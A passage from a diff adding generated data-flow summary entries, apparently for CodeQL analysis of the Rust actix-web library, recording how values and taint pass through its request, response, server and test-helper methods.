"value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_response_replace", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::exclude", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::exclude_regex", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::log_level", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::log_target", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::permanent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::see_other", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::temporary", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::using_status_code", "Argument[0]", "Argument[self].Field[crate::redirect::Redirect::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::using_status_code", "Argument[0]", "ReturnValue.Field[crate::redirect::Redirect::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::using_status_code", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::with_capacity", "Argument[0]", "ReturnValue.Field[crate::request::HttpRequestPool::cap]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::request_data::ReqData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::request_data::ReqData(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::add_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::to", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::force_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::no_chunking", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::add_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::response::customize_responder::CustomizeResponder::inner].Field[crate::response::customize_responder::CustomizeResponderInner::responder]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::with_status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::service::ServiceResponse::response]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error", "Argument[self].Field[crate::response::response::HttpResponse::error].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::head", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::head_mut", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[0].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[0].ReturnValue", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_body", "Argument[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_body", "Argument[self].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::with_body", "Argument[1]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::response::response::HttpResponse::res]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "ReturnValue.Field[crate::response::response::HttpResponse::res]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::match_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::match_pattern", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::rmap::ResourceMap::pattern]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::to", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self].Field[crate::route::Route::guards]", "ReturnValue.Field[crate::route::Route::guards]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::backlog", "Argument[0]", "Argument[self].Field[crate::server::HttpServer::backlog]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::backlog", "Argument[0]", "ReturnValue.Field[crate::server::HttpServer::backlog]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::backlog", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_auto_h2c", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_openssl", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_rustls", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_rustls_021", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_rustls_0_22", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_rustls_0_23", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::disable_signals", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_auto_h2c", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connection_rate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connections", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::server::HttpServer::factory]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::on_connect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::server_hostname", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::shutdown_signal", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::shutdown_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::system_exit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::tls_handshake_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::worker_max_blocking_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::workers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceFactoryWrapper::factory].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_response", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::service::ServiceRequest::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::service::ServiceRequest::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0]", "ReturnValue.Field[crate::service::ServiceRequest::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard_ctx", "Argument[self]", "ReturnValue.Field[crate::guard::GuardContext::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_response", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceRequest::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::service::ServiceRequest::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::parts", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::parts", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::parts_mut", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::parts_mut", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::request", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_payload", "Argument[0]", "Argument[self].Field[crate::service::ServiceRequest::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_response", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_err", "Argument[1]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_response", "Argument[0]", "ReturnValue.Field[crate::service::ServiceResponse::response]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_response", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::service::ServiceResponse::response]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::request", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::response", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::response_mut", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::guards]", "ReturnValue.Field[crate::service::WebServiceImpl::guards]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::name]", "ReturnValue.Field[crate::service::WebServiceImpl::name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::rdef]", "ReturnValue.Field[crate::service::WebServiceImpl::rdef]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::param", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[0]", "Argument[self].Field[crate::test::test_request::TestRequest::peer_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[0]", "ReturnValue.Field[crate::test::test_request::TestRequest::peer_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[0]", "Argument[self].Field[crate::test::test_request::TestRequest::rmap]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[0]", "ReturnValue.Field[crate::test::test_request::TestRequest::rmap]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_mut", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_ref", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", 